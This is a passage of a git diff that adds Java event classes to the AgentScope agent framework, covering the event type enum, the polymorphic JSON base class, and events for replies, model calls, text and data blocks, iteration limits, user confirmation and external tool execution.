    Each event carries a unique ID, creation timestamp, and type discriminator. + * Events are emitted during agent execution and can be consumed via reactive streams. + */ +@JsonIgnoreProperties(ignoreUnknown = true) +@JsonInclude(JsonInclude.Include.NON_NULL) +@JsonTypeInfo(use = JsonTypeInfo.Id.NAME, include = JsonTypeInfo.As.PROPERTY, property = "type") +@JsonSubTypes({ + @JsonSubTypes.Type(value = ReplyStartEvent.class, name = "REPLY_START"), + @JsonSubTypes.Type(value = ReplyEndEvent.class, name = "REPLY_END"), + @JsonSubTypes.Type(value = ModelCallStartEvent.class, name = "MODEL_CALL_START"), + @JsonSubTypes.Type(value = ModelCallEndEvent.class, name = "MODEL_CALL_END"), + @JsonSubTypes.Type(value = TextBlockStartEvent.class, name = "TEXT_BLOCK_START"), + @JsonSubTypes.Type(value = TextBlockDeltaEvent.class, name = "TEXT_BLOCK_DELTA"), + @JsonSubTypes.Type(value = TextBlockEndEvent.class, name = "TEXT_BLOCK_END"), + @JsonSubTypes.Type(value = ThinkingBlockStartEvent.class, name = "THINKING_BLOCK_START"), + @JsonSubTypes.Type(value = ThinkingBlockDeltaEvent.class, name = "THINKING_BLOCK_DELTA"), + @JsonSubTypes.Type(value = ThinkingBlockEndEvent.class, name = "THINKING_BLOCK_END"), + @JsonSubTypes.Type(value = DataBlockStartEvent.class, name = "DATA_BLOCK_START"), + @JsonSubTypes.Type(value = DataBlockDeltaEvent.class, name = "DATA_BLOCK_DELTA"), + @JsonSubTypes.Type(value = DataBlockEndEvent.class, name = "DATA_BLOCK_END"), + @JsonSubTypes.Type(value = ToolCallStartEvent.class, name = "TOOL_CALL_START"), + @JsonSubTypes.Type(value = ToolCallDeltaEvent.class, name = "TOOL_CALL_DELTA"), + @JsonSubTypes.Type(value = ToolCallEndEvent.class, name = "TOOL_CALL_END"), + @JsonSubTypes.Type(value = ToolResultStartEvent.class, name = "TOOL_RESULT_START"), + @JsonSubTypes.Type(value = ToolResultTextDeltaEvent.class, name = "TOOL_RESULT_TEXT_DELTA"), + @JsonSubTypes.Type(value = ToolResultDataDeltaEvent.class, name = "TOOL_RESULT_DATA_DELTA"), + @JsonSubTypes.Type(value = ToolResultEndEvent.class, name = "TOOL_RESULT_END"), + @JsonSubTypes.Type(value = ExceedMaxItersEvent.class, name = "EXCEED_MAX_ITERS"), + @JsonSubTypes.Type(value = RequireUserConfirmEvent.class, name = "REQUIRE_USER_CONFIRM"), + @JsonSubTypes.Type( + value = RequireExternalExecutionEvent.class, + name = "REQUIRE_EXTERNAL_EXECUTION"), + @JsonSubTypes.Type(value = UserConfirmResultEvent.class, name = "USER_CONFIRM_RESULT"), + @JsonSubTypes.Type( + value = ExternalExecutionResultEvent.class, + name = "EXTERNAL_EXECUTION_RESULT") +}) +public abstract class AgentEvent { + + private final String id; + private final String createdAt; + + protected AgentEvent() { + this.id = UUID.randomUUID().toString().replace("-", ""); + this.createdAt = Instant.now().toString(); + } + + protected AgentEvent(String id, String createdAt) { + this.id = id; + this.createdAt = createdAt; + } + + public abstract AgentEventType getType(); + + public String getId() { + return id; + } + + public String getCreatedAt() { + return createdAt; + } + + @Override + public String toString() { + return getClass().getSimpleName() + "{id='" + id + "', type=" + getType() + '}'; + } +} diff --git a/agentscope-core/src/main/java/io/agentscope/core/event/AgentEventType.java b/agentscope-core/src/main/java/io/agentscope/core/event/AgentEventType.java new file mode 100644 index 000000000..438f75201 --- /dev/null +++ b/agentscope-core/src/main/java/io/agentscope/core/event/AgentEventType.java @@ -0,0 +1,71 @@ +/* + * Copyright 2024-2026 the original author or authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package io.agentscope.core.event; + +import com.fasterxml.jackson.annotation.JsonValue; + +/** + * Fine-grained event types emitted during agent execution. + * + *

    Aligned with AgentScope Python 2.0 EventType. Each type corresponds to + * a specific phase or delta in the agent's reasoning/acting lifecycle. + */ +public enum AgentEventType { + REPLY_START("REPLY_START"), + REPLY_END("REPLY_END"), + + MODEL_CALL_START("MODEL_CALL_START"), + MODEL_CALL_END("MODEL_CALL_END"), + + TEXT_BLOCK_START("TEXT_BLOCK_START"), + TEXT_BLOCK_DELTA("TEXT_BLOCK_DELTA"), + TEXT_BLOCK_END("TEXT_BLOCK_END"), + + THINKING_BLOCK_START("THINKING_BLOCK_START"), + THINKING_BLOCK_DELTA("THINKING_BLOCK_DELTA"), + THINKING_BLOCK_END("THINKING_BLOCK_END"), + + DATA_BLOCK_START("DATA_BLOCK_START"), + DATA_BLOCK_DELTA("DATA_BLOCK_DELTA"), + DATA_BLOCK_END("DATA_BLOCK_END"), + + TOOL_CALL_START("TOOL_CALL_START"), + TOOL_CALL_DELTA("TOOL_CALL_DELTA"), + TOOL_CALL_END("TOOL_CALL_END"), + + TOOL_RESULT_START("TOOL_RESULT_START"), + TOOL_RESULT_TEXT_DELTA("TOOL_RESULT_TEXT_DELTA"), + TOOL_RESULT_DATA_DELTA("TOOL_RESULT_DATA_DELTA"), + TOOL_RESULT_END("TOOL_RESULT_END"), + + EXCEED_MAX_ITERS("EXCEED_MAX_ITERS"), + + REQUIRE_USER_CONFIRM("REQUIRE_USER_CONFIRM"), + REQUIRE_EXTERNAL_EXECUTION("REQUIRE_EXTERNAL_EXECUTION"), + USER_CONFIRM_RESULT("USER_CONFIRM_RESULT"), + EXTERNAL_EXECUTION_RESULT("EXTERNAL_EXECUTION_RESULT"); + + private final String value; + + AgentEventType(String value) { + this.value = value; + } + + @JsonValue + public String getValue() { + return value; + } +} diff --git a/agentscope-core/src/main/java/io/agentscope/core/event/ConfirmResult.java b/agentscope-core/src/main/java/io/agentscope/core/event/ConfirmResult.java new file mode 100644 index 000000000..531cee710 --- /dev/null +++ b/agentscope-core/src/main/java/io/agentscope/core/event/ConfirmResult.java @@ -0,0 +1,45 @@ +/* + * Copyright 2024-2026 the original author or authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package io.agentscope.core.event; + +import com.fasterxml.jackson.annotation.JsonCreator; +import com.fasterxml.jackson.annotation.JsonProperty; +import io.agentscope.core.message.ToolUseBlock; + +/** + * Represents the result of a single user confirmation decision for a tool call. + */ +public class ConfirmResult { + + private final boolean confirmed; + private final ToolUseBlock toolCall; + + @JsonCreator + public ConfirmResult( + @JsonProperty("confirmed") boolean confirmed, + @JsonProperty("toolCall") ToolUseBlock toolCall) { + this.confirmed = confirmed; + this.toolCall = toolCall; + } + + public boolean isConfirmed() { + return confirmed; + } + + public ToolUseBlock getToolCall() { + return toolCall; + } +} diff --git a/agentscope-core/src/main/java/io/agentscope/core/event/DataBlockDeltaEvent.java b/agentscope-core/src/main/java/io/agentscope/core/event/DataBlockDeltaEvent.java new file mode 100644 index 000000000..84bd9a79c --- /dev/null +++ b/agentscope-core/src/main/java/io/agentscope/core/event/DataBlockDeltaEvent.java @@ -0,0 +1,62 @@ +/* + * Copyright 2024-2026 the original author or authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package io.agentscope.core.event; + +import com.fasterxml.jackson.annotation.JsonCreator; +import com.fasterxml.jackson.annotation.JsonProperty; + +public class DataBlockDeltaEvent extends AgentEvent { + + private final String replyId; + private final String blockId; + private final String delta; + + @JsonCreator + public DataBlockDeltaEvent( + @JsonProperty("id") String id, + @JsonProperty("createdAt") String createdAt, + @JsonProperty("replyId") String replyId, + @JsonProperty("blockId") String blockId, + @JsonProperty("delta") String delta) { + super(id, createdAt); + this.replyId = replyId; + this.blockId = blockId; + this.delta = delta; + } + + public DataBlockDeltaEvent(String replyId, String blockId, String delta) { + this.replyId = replyId; + this.blockId = blockId; + this.delta = delta; + } + + @Override + public AgentEventType getType() { + return AgentEventType.DATA_BLOCK_DELTA; + } + + public String getReplyId() { + return replyId; + } + + public String getBlockId() { + return blockId; + } + + public String getDelta() { + return delta; + } +} diff --git a/agentscope-core/src/main/java/io/agentscope/core/event/DataBlockEndEvent.java b/agentscope-core/src/main/java/io/agentscope/core/event/DataBlockEndEvent.java new file mode 100644 index 000000000..9c584ec79 --- /dev/null +++ b/agentscope-core/src/main/java/io/agentscope/core/event/DataBlockEndEvent.java @@ -0,0 +1,54 @@ +/* + * Copyright 2024-2026 the original author or authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package io.agentscope.core.event; + +import com.fasterxml.jackson.annotation.JsonCreator; +import com.fasterxml.jackson.annotation.JsonProperty; + +public class DataBlockEndEvent extends AgentEvent { + + private final String replyId; + private final String blockId; + + @JsonCreator + public DataBlockEndEvent( + @JsonProperty("id") String id, + @JsonProperty("createdAt") String createdAt, + @JsonProperty("replyId") String replyId, + @JsonProperty("blockId") String blockId) { + super(id, createdAt); + this.replyId = replyId; + this.blockId = blockId; + } + + public DataBlockEndEvent(String replyId, String blockId) { + this.replyId = replyId; + this.blockId = blockId; + } + + @Override + public AgentEventType getType() { + return AgentEventType.DATA_BLOCK_END; + } + + public String getReplyId() { + return replyId; + } + + public String getBlockId() { + return blockId; + } +} diff --git a/agentscope-core/src/main/java/io/agentscope/core/event/DataBlockStartEvent.java b/agentscope-core/src/main/java/io/agentscope/core/event/DataBlockStartEvent.java new file mode 100644 index 000000000..f0af3a198 --- /dev/null +++ b/agentscope-core/src/main/java/io/agentscope/core/event/DataBlockStartEvent.java @@ -0,0 +1,54 @@ +/* + * Copyright 2024-2026 the original author or authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package io.agentscope.core.event; + +import com.fasterxml.jackson.annotation.JsonCreator; +import com.fasterxml.jackson.annotation.JsonProperty; + +public class DataBlockStartEvent extends AgentEvent { + + private final String replyId; + private final String blockId; + + @JsonCreator + public DataBlockStartEvent( + @JsonProperty("id") String id, + @JsonProperty("createdAt") String createdAt, + @JsonProperty("replyId") String replyId, + @JsonProperty("blockId") String blockId) { + super(id, createdAt); + this.replyId = replyId; + this.blockId = blockId; + } + + public DataBlockStartEvent(String replyId, String blockId) { + this.replyId = replyId; + this.blockId = blockId; + } + + @Override + public AgentEventType getType() { + return AgentEventType.DATA_BLOCK_START; + } + + public String getReplyId() { + return replyId; + } + + public String getBlockId() { + return blockId; + } +} diff --git a/agentscope-core/src/main/java/io/agentscope/core/event/ExceedMaxItersEvent.java b/agentscope-core/src/main/java/io/agentscope/core/event/ExceedMaxItersEvent.java new file mode 100644 index 000000000..3ae86a31f --- /dev/null +++ b/agentscope-core/src/main/java/io/agentscope/core/event/ExceedMaxItersEvent.java @@ -0,0 +1,65 @@ +/* + * Copyright 2024-2026 the original author or authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package io.agentscope.core.event; + +import com.fasterxml.jackson.annotation.JsonCreator; +import com.fasterxml.jackson.annotation.JsonProperty; + +/** + * Emitted when the agent's ReAct loop exceeds the configured maximum iterations. + */ +public class ExceedMaxItersEvent extends AgentEvent { + + private final String replyId; + private final int maxIters; + private final int currentIter; + + @JsonCreator + public ExceedMaxItersEvent( + @JsonProperty("id") String id, + @JsonProperty("createdAt") String createdAt, + @JsonProperty("replyId") String replyId, + @JsonProperty("maxIters") int maxIters, + @JsonProperty("currentIter") int currentIter) { + super(id, createdAt); + this.replyId = replyId; + this.maxIters = maxIters; + this.currentIter = currentIter; + } + + public ExceedMaxItersEvent(String replyId, int maxIters, int currentIter) { + this.replyId = replyId; + this.maxIters = maxIters; + this.currentIter = currentIter; + } + + @Override + public AgentEventType getType() { + return AgentEventType.EXCEED_MAX_ITERS; + } + + public String getReplyId() { + return replyId; + } + + public int getMaxIters() { + return maxIters; + } + + public int getCurrentIter() { + return currentIter; + } +} diff --git a/agentscope-core/src/main/java/io/agentscope/core/event/ExternalExecutionResultEvent.java b/agentscope-core/src/main/java/io/agentscope/core/event/ExternalExecutionResultEvent.java new file mode 100644 index 000000000..45bab610c --- /dev/null +++ b/agentscope-core/src/main/java/io/agentscope/core/event/ExternalExecutionResultEvent.java @@ -0,0 +1,59 @@ +/* + * Copyright 2024-2026 the original author or authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package io.agentscope.core.event; + +import com.fasterxml.jackson.annotation.JsonCreator; +import com.fasterxml.jackson.annotation.JsonProperty; +import io.agentscope.core.message.ToolResultBlock; +import java.util.List; + +/** + * Emitted after externally-executed tool results are provided back to the agent. + */ +public class ExternalExecutionResultEvent extends AgentEvent { + + private final String replyId; + private final List toolResults; + + @JsonCreator + public ExternalExecutionResultEvent( + @JsonProperty("id") String id, + @JsonProperty("createdAt") String createdAt, + @JsonProperty("replyId") String replyId, + @JsonProperty("toolResults") List toolResults) { + super(id, createdAt); + this.replyId = replyId; + this.toolResults = toolResults != null ? List.copyOf(toolResults) : List.of(); + } + + public ExternalExecutionResultEvent(String replyId, List toolResults) { + this.replyId = replyId; + this.toolResults = toolResults != null ? List.copyOf(toolResults) : List.of(); + } + + @Override + public AgentEventType getType() { + return AgentEventType.EXTERNAL_EXECUTION_RESULT; + } + + public String getReplyId() { + return replyId; + } + + public List getToolResults() { + return toolResults; + } +} diff --git a/agentscope-core/src/main/java/io/agentscope/core/event/ModelCallEndEvent.java b/agentscope-core/src/main/java/io/agentscope/core/event/ModelCallEndEvent.java new file mode 100644 index 000000000..686620319 --- /dev/null +++ b/agentscope-core/src/main/java/io/agentscope/core/event/ModelCallEndEvent.java @@ -0,0 +1,58 @@ +/* + * Copyright 2024-2026 the original author or authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package io.agentscope.core.event; + +import com.fasterxml.jackson.annotation.JsonCreator; +import com.fasterxml.jackson.annotation.JsonProperty; +import io.agentscope.core.model.ChatUsage; + +/** + * Emitted when the agent finishes a model (LLM) call. + */ +public class ModelCallEndEvent extends AgentEvent { + + private final String replyId; + private final ChatUsage usage; + + @JsonCreator + public ModelCallEndEvent( + @JsonProperty("id") String id, + @JsonProperty("createdAt") String createdAt, + @JsonProperty("replyId") String replyId, + @JsonProperty("usage") ChatUsage usage) { + super(id, createdAt); + this.replyId = replyId; + this.usage = usage; + } + + public ModelCallEndEvent(String replyId, ChatUsage usage) { + this.replyId = replyId; + this.usage = usage; + } + + @Override + public AgentEventType getType() { + return AgentEventType.MODEL_CALL_END; + } + + public String getReplyId() { + return replyId; + } + + public ChatUsage getUsage() { + return usage; + } +} diff --git a/agentscope-core/src/main/java/io/agentscope/core/event/ModelCallStartEvent.java b/agentscope-core/src/main/java/io/agentscope/core/event/ModelCallStartEvent.java new file mode 100644 index 000000000..126e097fd --- /dev/null +++ b/agentscope-core/src/main/java/io/agentscope/core/event/ModelCallStartEvent.java @@ -0,0 +1,49 @@ +/* + * Copyright 2024-2026 the original author or authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package io.agentscope.core.event; + +import com.fasterxml.jackson.annotation.JsonCreator; +import com.fasterxml.jackson.annotation.JsonProperty; + +/** + * Emitted when the agent starts a model (LLM) call. + */ +public class ModelCallStartEvent extends AgentEvent { + + private final String replyId; + + @JsonCreator + public ModelCallStartEvent( + @JsonProperty("id") String id, + @JsonProperty("createdAt") String createdAt, + @JsonProperty("replyId") String replyId) { + super(id, createdAt); + this.replyId = replyId; + } + + public ModelCallStartEvent(String replyId) { + this.replyId = replyId; + } + + @Override + public AgentEventType getType() { + return AgentEventType.MODEL_CALL_START; + } + + public String getReplyId() { + return replyId; + } +} diff --git a/agentscope-core/src/main/java/io/agentscope/core/event/ReplyEndEvent.java b/agentscope-core/src/main/java/io/agentscope/core/event/ReplyEndEvent.java new file mode 100644 index 000000000..2c622aa86 --- /dev/null +++ b/agentscope-core/src/main/java/io/agentscope/core/event/ReplyEndEvent.java @@ -0,0 +1,49 @@ +/* + * Copyright 2024-2026 the original author or authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package io.agentscope.core.event; + +import com.fasterxml.jackson.annotation.JsonCreator; +import com.fasterxml.jackson.annotation.JsonProperty; + +/** + * Emitted when an agent finishes processing a reply. + */ +public class ReplyEndEvent extends AgentEvent { + + private final String replyId; + + @JsonCreator + public ReplyEndEvent( + @JsonProperty("id") String id, + @JsonProperty("createdAt") String createdAt, + @JsonProperty("replyId") String replyId) { + super(id, createdAt); + this.replyId = replyId; + } + + public ReplyEndEvent(String replyId) { + this.replyId = replyId; + } + + @Override + public AgentEventType getType() { + return AgentEventType.REPLY_END; + } + + public String getReplyId() { + return replyId; + } +} diff --git a/agentscope-core/src/main/java/io/agentscope/core/event/ReplyStartEvent.java b/agentscope-core/src/main/java/io/agentscope/core/event/ReplyStartEvent.java new file mode 100644 index 000000000..9c07a3832 --- /dev/null +++ b/agentscope-core/src/main/java/io/agentscope/core/event/ReplyStartEvent.java @@ -0,0 +1,73 @@ +/* + * Copyright 2024-2026 the original author or authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package io.agentscope.core.event; + +import com.fasterxml.jackson.annotation.JsonCreator; +import com.fasterxml.jackson.annotation.JsonProperty; + +/** + * Emitted when an agent begins processing a reply. + */ +public class ReplyStartEvent extends AgentEvent { + + private final String sessionId; + private final String replyId; + private final String name; + private final String role; + + @JsonCreator + public ReplyStartEvent( + @JsonProperty("id") String id, + @JsonProperty("createdAt") String createdAt, + @JsonProperty("sessionId") String sessionId, + @JsonProperty("replyId") String replyId, + @JsonProperty("name") String name, + @JsonProperty("role") String role) { + super(id, createdAt); + this.sessionId = sessionId; + this.replyId = replyId; + this.name = name; + this.role = role != null ? role : "assistant"; + } + + public ReplyStartEvent(String sessionId, String replyId, String name) { + this.sessionId = sessionId; + this.replyId = replyId; + this.name = name; + this.role = "assistant"; + } + + @Override + public AgentEventType getType() { + return AgentEventType.REPLY_START; + } + + public String getSessionId() { + return sessionId; + } + + public String getReplyId() { + return replyId; + } + + public String getName() { + return name; + } + + public String getRole() { + return role; + } +} diff --git a/agentscope-core/src/main/java/io/agentscope/core/event/RequireExternalExecutionEvent.java b/agentscope-core/src/main/java/io/agentscope/core/event/RequireExternalExecutionEvent.java new file mode 100644 index 000000000..ad4873d71 --- /dev/null +++ b/agentscope-core/src/main/java/io/agentscope/core/event/RequireExternalExecutionEvent.java @@ -0,0 +1,59 @@ +/* + * Copyright 2024-2026 the original author or authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package io.agentscope.core.event; + +import com.fasterxml.jackson.annotation.JsonCreator; +import com.fasterxml.jackson.annotation.JsonProperty; +import io.agentscope.core.message.ToolUseBlock; +import java.util.List; + +/** + * Emitted when tool calls require external (out-of-process) execution. + */ +public class RequireExternalExecutionEvent extends AgentEvent { + + private final String replyId; + private final List toolCalls; + + @JsonCreator + public RequireExternalExecutionEvent( + @JsonProperty("id") String id, + @JsonProperty("createdAt") String createdAt, + @JsonProperty("replyId") String replyId, + @JsonProperty("toolCalls") List toolCalls) { + super(id, createdAt); + this.replyId = replyId; + this.toolCalls = toolCalls != null ? List.copyOf(toolCalls) : List.of(); + } + + public RequireExternalExecutionEvent(String replyId, List toolCalls) { + this.replyId = replyId; + this.toolCalls = toolCalls != null ? List.copyOf(toolCalls) : List.of(); + } + + @Override + public AgentEventType getType() { + return AgentEventType.REQUIRE_EXTERNAL_EXECUTION; + } + + public String getReplyId() { + return replyId; + } + + public List getToolCalls() { + return toolCalls; + } +} diff --git a/agentscope-core/src/main/java/io/agentscope/core/event/RequireUserConfirmEvent.java b/agentscope-core/src/main/java/io/agentscope/core/event/RequireUserConfirmEvent.java new file mode 100644 index 000000000..b41624658 --- /dev/null +++ b/agentscope-core/src/main/java/io/agentscope/core/event/RequireUserConfirmEvent.java @@ -0,0 +1,59 @@ +/* + * Copyright 2024-2026 the original author or authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package io.agentscope.core.event; + +import com.fasterxml.jackson.annotation.JsonCreator; +import com.fasterxml.jackson.annotation.JsonProperty; +import io.agentscope.core.message.ToolUseBlock; +import java.util.List; + +/** + * Emitted when the agent requires user confirmation before executing tool calls (HITL). + */ +public class RequireUserConfirmEvent extends AgentEvent { + + private final String replyId; + private final List toolCalls; + + @JsonCreator + public RequireUserConfirmEvent( + @JsonProperty("id") String id, + @JsonProperty("createdAt") String createdAt, + @JsonProperty("replyId") String replyId, + @JsonProperty("toolCalls") List toolCalls) { + super(id, createdAt); + this.replyId = replyId; + this.toolCalls = toolCalls != null ? List.copyOf(toolCalls) : List.of(); + } + + public RequireUserConfirmEvent(String replyId, List toolCalls) { + this.replyId = replyId; + this.toolCalls = toolCalls != null ? List.copyOf(toolCalls) : List.of(); + } + + @Override + public AgentEventType getType() { + return AgentEventType.REQUIRE_USER_CONFIRM; + } + + public String getReplyId() { + return replyId; + } + + public List getToolCalls() { + return toolCalls; + } +} diff --git a/agentscope-core/src/main/java/io/agentscope/core/event/TextBlockDeltaEvent.java b/agentscope-core/src/main/java/io/agentscope/core/event/TextBlockDeltaEvent.java new file mode 100644 index 000000000..207058d5c --- /dev/null +++ b/agentscope-core/src/main/java/io/agentscope/core/event/TextBlockDeltaEvent.java @@ -0,0 +1,62 @@ +/* + * Copyright 2024-2026 the original author or authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package io.agentscope.core.event; + +import com.fasterxml.jackson.annotation.JsonCreator; +import com.fasterxml.jackson.annotation.JsonProperty; + +public class TextBlockDeltaEvent extends AgentEvent { + + private final String replyId; + private final String blockId; + private final String delta; + + @JsonCreator + public TextBlockDeltaEvent( + @JsonProperty("id") String id, + @JsonProperty("createdAt") String createdAt, + @JsonProperty("replyId") String replyId, + @JsonProperty("blockId") String blockId, + @JsonProperty("delta") String delta) { + super(id, createdAt); + this.replyId = replyId; + this.blockId = blockId; + this.delta = delta; + } + + public TextBlockDeltaEvent(String replyId, String blockId, String delta) { + this.replyId = replyId; + this.blockId = blockId; + this.delta = delta; + } + + @Override + public AgentEventType getType() { + return AgentEventType.TEXT_BLOCK_DELTA; + } + + public String getReplyId() { + return replyId; + } + + public String getBlockId() { + return blockId; + } + + public String getDelta() { + return delta; + } +} diff --git a/agentscope-core/src/main/java/io/agentscope/core/event/TextBlockEndEvent.java b/agentscope-core/src/main/java/io/agentscope/core/event/TextBlockEndEvent.java new file mode 100644 index 000000000..2828427c8 --- /dev/null +++ b/agentscope-core/src/main/java/io/agentscope/core/event/TextBlockEndEvent.java @@ -0,0 +1,54 @@ +/* + * Copyright 2024-2026 the original author or authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package io.agentscope.core.event; + +import com.fasterxml.jackson.annotation.JsonCreator; +import com.fasterxml.jackson.annotation.JsonProperty; + +public class TextBlockEndEvent extends AgentEvent { + + private final String replyId; + private final String blockId; + + @JsonCreator + public TextBlockEndEvent( + @JsonProperty("id") String id, + @JsonProperty("createdAt") String createdAt, + @JsonProperty("replyId") String replyId, + @JsonProperty("blockId") String blockId) { + super(id, createdAt); + this.replyId = replyId; + this.blockId = blockId; + } + + public TextBlockEndEvent(String replyId, String blockId) { + this.replyId = replyId; + this.blockId = blockId; + } + + @Override + public AgentEventType getType() { + return AgentEventType.TEXT_BLOCK_END; + } + + public String getReplyId() { + return replyId; + } + + public String getBlockId() { + return blockId; + } +} diff --git a/agentscope-core/src/main/java/io/agentscope/core/event/TextBlockStartEvent.java b/agentscope-core/src/main/java/io/agentscope/core/event/TextBlockStartEvent.java new file mode 100644 index 000000000..d46d9b907 --- /dev/null +++ b/agentscope-core/src/main/java/io/agentscope/core/event/TextBlockStartEvent.java @@ -0,0 +1,54 @@ +/* + * Copyright 2024-2026 the original author or authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package io.agentscope.core.event; + +import com.fasterxml.jackson.annotation.JsonCreator; +import com.fasterxml.jackson.annotation.JsonProperty; + +public class TextBlockStartEvent extends AgentEvent { + + private final String replyId; + private final String blockId; + + @JsonCreator + public TextBlockStartEvent( + @JsonProperty("id") String id, + @JsonProperty("createdAt") String createdAt, + @JsonProperty("replyId") String replyId, + @JsonProperty("blockId") String blockId) { + super(id, createdAt); + this.replyId = replyId; + this.blockId = blockId; + } + + public TextBlockStartEvent(String replyId, String blockId) { + this.replyId = replyId; + this.blockId = blockId; + } + + @Override + public AgentEventType getType() { + return AgentEventType.TEXT_BLOCK_START; + } + + public String getReplyId() { + return replyId; + } + + public String getBlockId() { + return blockId; + } +} diff --git a/agentscope-core/src/main/java/io/agentscope/core/event/ThinkingBlockDeltaEvent.java 